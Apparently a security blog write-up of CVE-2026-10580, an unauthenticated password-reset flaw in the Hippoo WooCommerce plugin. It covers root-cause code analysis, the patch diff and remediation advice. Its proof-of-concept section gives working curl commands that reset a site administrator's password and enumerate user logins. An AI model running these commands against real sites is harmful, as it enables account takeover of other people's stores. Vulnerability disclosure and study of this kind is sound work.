Hippoo Mobile App for WooCommerce WordPress plugin banner

CVE-2026-10580: Hippoo Admin Account Takeover via REST API (CVSS 9.8)

CVE-2026-10580 is a CVSS 9.8 Critical Unauthenticated Authentication Bypass vulnerability in the Hippoo Mobile App for WooCommerce WordPress plugin. An unauthenticated attacker can reset the password of any WordPress user — including the site administrator — and gain full administrative control of the site without any credentials.

Vulnerability Summary

FieldValue
Plugin NameHippoo Mobile App for WooCommerce
Plugin Slughippoo
CVE IDCVE-2026-10580
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthentication Bypass / Improper Authorization
Affected Versions<= 1.9.4
Patched Version1.9.5
PublishedJune 5, 2026
ResearcherMitchell
Wordfence AdvisoryLink

Description

The Hippoo Mobile App for WooCommerce plugin is a mobile storefront solution for WooCommerce shop owners. In versions up to and including 1.9.4, the plugin contains a critical logic flaw in its permission system. This flaw allows any unauthenticated visitor to invoke any cloned WordPress or WooCommerce REST API endpoint — most critically, the endpoint that changes user passwords.

The root cause is a null-sentinel conflation in HippooPermissions::get_user_permissions(). The function returns the same null value for both unauthenticated visitors and administrators. The downstream has_role_access() function treats null as “full access.” As a result, when the plugin clones REST routes at startup under a new namespace, it assigns __return_true as the permission callback for every cloned route. The pre-dispatch guard that should block unauthenticated users has the same flaw and never fires.

Technical Analysis

Root Cause: Null-Sentinel Conflation in get_user_permissions()

The vulnerable code is in app/permissions.php, lines 671–692.

public static function get_user_permissions()
{
    $user = wp_get_current_user();
    if (empty($user) || !$user->exists()) {
        return null;  // ← returned for unauthenticated users
    }

    if (in_array('administrator', (array) $user->roles)) {
        return null; // Full access ← also returned for administrators
    }

    $settings = get_option('hippoo_permissions_settings', []);
    foreach ((array) $user->roles as $role) {
        if (!isset($settings[$role])) {
            continue;
        }
        return $settings[$role];
    }

    return null; // Full access ← also returned for users with no permission record
}

The function returns null for three distinct cases: unauthenticated visitors, administrators, and authenticated users who have no permission record. Only one of those cases should be treated as “full access.”

The consumer of this value, has_role_access() (lines 694–715), blindly maps null to full access:

private function has_role_access($section, $key = null)
{
    $perms = self::get_user_permissions();

    if ($perms === null) {
        return true; // admin or unrestricted — also triggers for unauthenticated!
    }
    ...
}

Because null is returned for unauthenticated users and has_role_access() returns true for null, every access check in the plugin passes for unauthenticated visitors.

Route Cloning: How Every REST Endpoint Gets Exposed

At startup, app/web_api.php registers a rest_api_init action at priority PHP_INT_MAX that calls HippooControllerWithAuth::re_register_external_routes() (line 40):

add_action('rest_api_init', function () {
    $controller = new HippooControllerWithAuth();
    $controller->register_routes();
    $controller->re_register_external_routes();
}, PHP_INT_MAX);

The re_register_external_routes() method (app/web_api_auth.php, lines 79–111) iterates over every registered WordPress REST route and re-registers each one under the namespace /wc-hippoo/v1/ext/:

function re_register_external_routes() {
    $server = rest_get_server();
    $endpoints = $server->get_routes();

    $new_namespace = $this->hippoo_namespace . '/ext'; // "wc-hippoo/v1/ext"

    foreach ($endpoints as $route => $handlers) {
        if (strpos($route, $this->hippoo_namespace) === 0) {
            continue;
        }

        foreach ($handlers as $handler) {
            $methods = is_array($handler['methods'])
                ? implode(',', array_keys($handler['methods']))
                : $handler['methods'];

            $default_permission_callback = array($this, 'is_user_wordpress_admin');
            $permission_callback = apply_filters(
                'hippoo_extension_permission_check',
                $default_permission_callback,
                $route,
                $handler
            );

            register_rest_route(
                $new_namespace,
                $route,
                array(
                    'methods'             => $methods,
                    'callback'            => $handler['callback'],
                    'args'                => $handler['args'],
                    'permission_callback' => $permission_callback, // ← set by the filter
                )
            );
        }
    }
}

The default permission callback (is_user_wordpress_admin) would require admin access. However, the hippoo_extension_permission_check filter is hooked to override_extension_permission_callback() (app/permissions.php, lines 620–641), which overwrites that default.

The Filter That Breaks Authentication

override_extension_permission_callback() runs during the rest_api_init phase — before any HTTP request is processed, so no user is logged in:

public function override_extension_permission_callback($default_callback, $route, $handler)
{
    if (!$this->has_role_access('app_features', 'access_extensions')) {
        return $default_callback;
    }

    $parts = explode('/', trim($route, '/'));
    $extension_slug = $parts[0] ?? '';

    $perms = self::get_user_permissions();
    $allowed_slugs = $perms['app_features']['extensions'] ?? [];

    if (empty($allowed_slugs)) {
        return '__return_true'; // ← always reached during rest_api_init
    }

    if (in_array($extension_slug, $allowed_slugs)) {
        return '__return_true';
    }

    return $default_callback;
}

At rest_api_init time:

  1. has_role_access('app_features', 'access_extensions') calls get_user_permissions(), which returns null (no user is logged in yet).
  2. has_role_access() returns true for null, so the if (!$this->has_role_access(...)) guard does NOT block.
  3. $perms = self::get_user_permissions() → again null.
  4. $allowed_slugs = null['app_features']['extensions'] ?? [] → empty array.
  5. if (empty($allowed_slugs))true → returns '__return_true'.

Every cloned route under /wc-hippoo/v1/ext/ is registered with 'permission_callback' => '__return_true'.

The Pre-Dispatch Guard Also Fails

The plugin registers a rest_pre_dispatch filter at priority 9999 intended to block unauthorized access to /wc-hippoo/v1/ext/ routes (app/permissions.php, lines 297–301):

elseif (strpos($route, '/wc-hippoo/v') === 0 && strpos($route, '/ext') !== false) {
    if (!$this->has_role_access('app_features', 'access_extensions')) {
        return new WP_Error('rest_forbidden', ...);
    }
}

During an actual unauthenticated request, has_role_access() is called again. get_user_permissions() still returns null (the user is not logged in). has_role_access() returns true. The guard passes, and the unauthenticated request proceeds.

The Exploitable Endpoint

WordPress core registers POST /wp/v2/users/<id> as the user update endpoint. This endpoint is cloned as:

POST /wc-hippoo/v1/ext/wp/v2/users/<id>

With __return_true as the permission callback, no authentication is required. Sending a JSON body of {"password":"<new_password>"} updates the target user’s password.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes only. Only test against systems you own or have explicit written authorization to test.

Prerequisites: Hippoo Mobile App for WooCommerce installed and active, version <= 1.9.4. Replace https://target.example.com with the actual site URL. User ID 1 is typically the site administrator.

Step 1 — Verify the plugin is active and the ext namespace is accessible:

curl -s "https://target.example.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json"

A 200 OK response containing user data confirms the route is unauthenticated and the plugin is vulnerable.

Step 2 — Reset the administrator password:

curl -s -X POST "https://target.example.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned!2026@"}'

Expected response: a JSON object containing the updated user data, including the user’s login name and email.

Step 3 — Verify the takeover:

Log in to https://target.example.com/wp-admin/ using the administrator’s username (from Step 1) and the new password Pwned!2026@. Full administrative access is granted.

Step 4 — Enumerate other user IDs (optional):

for id in 1 2 3 4 5; do
  curl -s "https://target.example.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/$id" | \
    python3 -m json.tool 2>/dev/null | grep '"login"'
done

This lists login names for users with IDs 1–5, enabling targeted account selection.

Patch Analysis

The fix is in app/permissions.php. It changes get_user_permissions() to return false — a distinct sentinel — for unauthenticated visitors and for users with no permission record. Previously, null was returned for all three cases (unauthenticated, admin, and no-record), making them indistinguishable.

 public static function get_user_permissions()
 {
     $user = wp_get_current_user();
-    if (empty($user) || !$user->exists()) {
-        return null;
+    if (empty($user) || !$user->exists() || !is_user_logged_in()) {
+        return false;
     }

     if (in_array('administrator', (array) $user->roles)) {
         return null; // Full access — administrators still get null
     }

     $settings = get_option('hippoo_permissions_settings', []);
     foreach ((array) $user->roles as $role) {
-        if (!isset($settings[$role])) {
-            continue;
+        if (isset($settings[$role])) {
+            return $settings[$role];
         }
-
-        return $settings[$role];
     }

-    return null; // Full access
+    return false; // No access
 }

The has_role_access() method is updated to handle the new false sentinel:

 if ($perms === null) {
-    return true; // admin or unrestricted
+    return true; // admin
+}
+
+if ($perms === false) {
+    return false;
 }

The fix also adds is_user_logged_in() as an explicit check for unauthenticated users, which prevents the conflation from occurring even if wp_get_current_user() returns a non-existent object in edge cases.

After the fix, when override_extension_permission_callback() runs during rest_api_init (no user logged in), get_user_permissions() returns false instead of null. has_role_access() returns false, causing the function to return $default_callback (which requires admin access) instead of '__return_true'. The cloned routes now correctly require administrator authentication.

Timeline

DateEvent
June 5, 2026Vulnerability publicly disclosed by Wordfence
June 5, 2026Patched version 1.9.5 released

Remediation

Update the Hippoo Mobile App for WooCommerce plugin to version 1.9.5 or later immediately. Go to WordPress Admin → Plugins → Installed Plugins, find Hippoo, and click Update Now.

If you cannot update immediately, deactivate the plugin until you can apply the update.

After updating, review your WordPress admin accounts. If you suspect compromise, reset all administrator passwords and revoke any WooCommerce API keys that may have been accessed.

References

  1. CVE-2026-10580 — Wordfence Advisory
  2. CVE-2026-10580 — MITRE
  3. Vulnerable source — app/permissions.php L673
  4. Vulnerable source — app/permissions.php L696
  5. Vulnerable source — app/permissions.php L622
  6. Vulnerable source — app/permissions.php L180
  7. Vulnerable source — app/permissions.php L46
  8. Vulnerable source — app/web_api_auth.php L79
  9. Vulnerable source — app/web_api.php L36
  10. Patch changeset

Frequently Asked Questions

What is CVE-2026-10580?

CVE-2026-10580 is a 9.8 Critical severity Authentication Bypass vulnerability in the Hippoo Mobile App for WooCommerce WordPress plugin. An unauthenticated attacker can reset any WordPress user's password and seize full administrator control of the site.

Which versions of Hippoo Mobile App for WooCommerce are affected by CVE-2026-10580?

All versions up to and including 1.9.4 are affected. Version 1.9.5 contains the fix.

What can an attacker do with CVE-2026-10580?

An attacker with no account can send a single HTTP request to reset the site administrator's password and log in with full admin privileges, gaining complete control over WordPress and WooCommerce.

Does an attacker need to be logged in to exploit CVE-2026-10580?

No. Any visitor can trigger this vulnerability without any credentials or prior account.

How do I fix CVE-2026-10580 in Hippoo Mobile App for WooCommerce?

Update Hippoo Mobile App for WooCommerce to version 1.9.5 or later from the WordPress admin dashboard or wordpress.org.

Has Hippoo Mobile App for WooCommerce been patched for CVE-2026-10580?

Yes. Version 1.9.5 was released on June 5, 2026 and resolves this vulnerability.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee